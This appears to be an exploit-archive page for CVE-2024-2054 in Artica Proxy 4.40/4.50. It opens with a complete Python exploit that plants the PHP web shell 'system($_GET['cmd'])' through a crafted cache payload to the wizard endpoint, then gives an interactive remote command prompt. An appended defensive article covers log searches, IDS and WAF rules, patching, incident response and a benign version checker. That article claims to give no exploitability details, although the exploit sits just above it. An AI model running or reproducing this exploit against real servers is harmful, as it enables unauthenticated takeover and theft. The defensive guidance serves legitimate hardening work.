Artica Proxy 4.50 - Remote Code Execution (RCE)

Exploit Author: Madan Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-09
# Exploit Title: Artica Proxy 4.50 - Remote Code Execution (RCE)
# Date: 23-04-2024
# Exploit Author: Madan
# Vendor Homepage: https://artica-proxy.com/
# Version: 4.40, 4.50
# Tested on: [relevant os]
# CVE : CVE-2024-2054

you can also find the exploit on my github repo:
https://github.com/Madan301/CVE-2024-2054


import requests
import base64
import urllib3
from colorama import Fore

print("Url format Ex: https://8x.3x.xx.xx:9000 the port 9000 might
sometimes vary from how artica proxy interface is hosted")

URL = input("Enter url: ")
if URL[-1]=="/":
    ACTUAL_URL = URL[:-1]
else:
    ACTUAL_URL = URL

ARTICA_URL = ACTUAL_URL

def check(ARTICA_URL):
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    try:
        check = requests.get(ARTICA_URL+'/wizard/wiz.upload.php',verify=False)
    except Exception as e:
        print(Fore.RED+"Could not reach, check URL")
    if check.status_code==200:
        print(Fore.GREEN+"Vulnerable")
        return True
    else:
        print(Fore.RED+"Not Vulnerable")


def exploit(ARTICA_URL):

    payload = base64.b64encode(b"<?php system($_GET['cmd']); ?>").decode()
    payload_data = {
        "TzoxOToiTmV0X0ROUzJfQ2FjaGVfRmlsZSI": {
            "cache_file": "/usr/share/artica-postfix/wizard/wiz.upload.php",
            "cache_serializer": "json",
            "cache_size": 999999999,
            "cache_data": {
                payload: {
                    "cache_date": 0,
                    "ttl": 999999999
                }
            }
        }
    }


    while True:
        PAYLOAD_CMD = input("enter command: ")
        url = f"{ARTICA_URL}/wizard/wiz.wizard.progress.php?build-js={payload_data}"
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        response = requests.get(url, verify=False)
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
        if response.status_code == 200:
            cmd_url = f"{ARTICA_URL}/wizard/wiz.upload.php?cmd={PAYLOAD_CMD}"
            cmd_response = requests.get(cmd_url, verify=False)
            urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
            print(cmd_response.text)
        else:
            print("Failed to execute the payload")

check = check(ARTICA_URL=ACTUAL_URL)
if check==True:
    exploit(ARTICA_URL=ARTICA_URL)


Artica Proxy 4.50 — Remote Code Execution (CVE-2024-2054): Overview, Detection, and Remediation

This article explains the nature, impact, and defensive measures for the Artica Proxy remote code execution vulnerability tracked as CVE-2024-2054. It is written for system administrators, incident responders, and security engineers who need clear, actionable defensive guidance without providing exploitability details.

Summary

CVE-2024-2054 is a critical remote code execution (RCE) vulnerability discovered in certain versions of Artica Proxy (notably 4.40 and 4.50 published in public advisories). The underlying issue is a server-side input handling flaw in a management/wizard component that allows unauthenticated input to influence server-side file/data handling, enabling an attacker to achieve code execution under the web server context.

Affected Versions and Impact

  • Affected: publicly reported versions of Artica Proxy, including 4.40 and 4.50 (refer to vendor advisory for exact version ranges).
  • Impact: unauthenticated remote attacker can gain the ability to execute arbitrary commands as the web service user, which may lead to full system compromise if combined with privilege escalation.
  • Typical risks: data exfiltration, deployment of web shells and persistence, lateral movement, and disruption of services.

Root Cause (High-Level)

The issue stems from insufficient validation and unsafe handling of structured input used by an administrative/wizard endpoint. When a server accepts and acts upon crafted serialized/structured data without proper sanitization, this can lead to unauthorized file creation or the execution of arbitrary code. This class of vulnerability is commonly called unsafe deserialization / insecure cache handling when it involves serialized or cached data structures.

Detecting Exploitation and Indicators of Compromise (IoCs)

Detection focuses on three areas: HTTP access patterns, filesystem artefacts, and anomalous process/activity on the host.

  • HTTP logs: watch for requests to administrative/wizard endpoints originating from unusual external IPs, particularly requests containing unusually large or structured payloads in query string or request bodies. Flag requests to endpoints you expose only to trusted networks.
  • Filesystem changes: look for unexpected or recently-modified PHP/CGI files under the application or web directories. Attackers often write small web shells or scripts to persist access.
  • Process and network activity: unexpected outbound connections from the management host (e.g., to attacker-controlled servers), or execution of uncommon binaries from web server contexts.

Example log-search patterns (defensive use):

# Search web server logs for requests to management URLs (example: Apache/Nginx combined logs)
grep -i "wizard" /var/log/nginx/access.log | grep -E "build|progress|upload" | less

# Find recently modified files in the web application directories
find /usr/share/artica-postfix -type f -mtime -30 -iname '*.php'

Explanation: The first command filters HTTP access logs for requests related to “wizard”-type endpoints (adjust token to your deployed paths). The second command lists PHP files modified in the last 30 days under the application directory so you can inspect new or altered files that could indicate a webshell.

Network/IDS Signatures (Defensive)

Use conservative, defensive rules to detect suspicious management-stage requests. The following are example detection signatures and WAF rules intended for defenders only. Tune these to your environment to avoid false positives.

# Suricata/IDS-style rule (conceptual)
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"Potential Artica management endpoint abuse"; flow:to_server,established; http.uri; content:"/wizard/"; nocase; pcre:"/build|progress|upload/i"; sid:1000001; rev:1;)

# ModSecurity (OWASP CRS) – block suspicious query patterns to the management endpoints
SecRule REQUEST_URI "@contains /wizard/" "phase:1,deny,log,status:403,msg:'Blocked suspicious wizard endpoint access'"

Explanation: The IDS rule looks for HTTP requests targeting management-related URIs that combine certain tokens. The ModSecurity rule blocks requests to URIs containing “/wizard/”. These are defensive policies — do not block blindly if your environment legitimately uses these endpoints; instead, restrict access at the network perimeter.

Immediate Mitigations (Quick Actions)

  • Apply vendor-provided patches or upgrades immediately. Follow Artica Proxy vendor advisories and release notes to obtain the fixed version.
  • Restrict management interfaces: if possible, block public access to the web management port via firewall, VPN, or IP allowlists so only trusted admin IPs can reach the UI.
  • Deploy WAF/Reverse proxy protections: implement rules that block unexpected structured payloads and known-to-be-abusive parameters for the affected endpoints.
  • Rotate credentials: after confirming compromise, rotate administrative passwords, API keys, and any credentials that may have been exposed.
  • Containment: consider isolating the host from the network pending investigation if you detect signs of active exploitation.

Patching and Long-Term Remediation

Always follow the vendor's published guidance. Typical remediation actions include:

  • Upgrade Artica Proxy to the fixed release recommended by the vendor. Confirm patched version via application UI or verified release artifacts from the vendor.
  • Harden file permissions for the web application directories so the web process cannot write to directories that should be immutable at runtime.
  • Ensure deploy-time integrity checks and monitoring (file integrity monitoring) are in place to alert when new files are introduced into web directories.
  • Apply the principle of least privilege to service accounts and system users.

Incident Response Checklist

  • Identify affected hosts and isolate them from the network if exploitation is suspected.
  • Capture volatile data: memory, active network connections, and process lists for forensic analysis.
  • Collect relevant logs (web server, application logs, system logs) and preserve them for investigation.
  • Search for web shells and unauthorized files. Pay attention to recently created or modified files under the application directory.
  • Rebuild compromised hosts from known-good images where feasible. Validate integrity before reconnecting to production networks.
  • Perform a credential rotation and review account activity for signs of abuse.
  • Notify stakeholders and follow regulatory/organizational disclosure policies where required.

Safe Verification Example: Version Check Script

Below is a safe, non-exploit example that shows how to automate checking an Artica Proxy instance for its reported version via the public UI page. This is intended only to determine whether a host is running a vulnerable version — it does not attempt to exploit the application.

#!/usr/bin/env python3
# Safe version-check: fetch the login or status page and look for a version string.
# Usage: python3 artica_version_check.py https://artica.example:9000

import sys
import requests
import re

def check_version(url):
    try:
        r = requests.get(url, timeout=10, verify=False)
        r.raise_for_status()
    except Exception as e:
        print("Unable to reach target:", e)
        return None

    # Heuristic: look for a version-like string in the HTML
    m = re.search(r'(?i)version[:\s]*([0-9]+\.[0-9]+)', r.text)
    if m:
        return m.group(1)
    return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: artica_version_check.py ")
        sys.exit(1)
    ver = check_version(sys.argv[1])
    if ver:
        print("Discovered version:", ver)
    else:
        print("Version not discoverable from public page. Consult vendor for exact status.")

Explanation: This script only performs a benign GET request to a publicly accessible URL and searches returned HTML for a simple version pattern. It does not attempt to submit data, modify server state, or probe internal endpoints. Use this to screen systems for the likely need to patch if the version string matches affected releases.

Hardening Recommendations

  • Network segmentation: host management GUIs on isolated management networks and restrict access to administrators.
  • Least privilege: run web services with minimal file system permissions; avoid giving the web process write access to application code directories.
  • Monitoring: enable file integrity monitoring, centralize logs, and alert on access to administrative endpoints from unexpected sources.
  • Secure software lifecycle: apply vendor updates in a timely manner and test patches in staging prior to production rollout.

Responsible Disclosure and Vendor Coordination

If you discover suspicious activity or a zero-day in your environment, follow a responsible disclosure path: collect evidence, notify the vendor (Artica Proxy support channels), and coordinate remediation. Work with your legal and compliance teams when sensitive data may be affected.

References and Further Reading

  • Vendor advisory and release notes (consult Artica Proxy official site or vendor support).
  • OWASP guidance on insecure deserialization and web application hardening.
  • Best practices for incident response and containment from SANS/industry sources.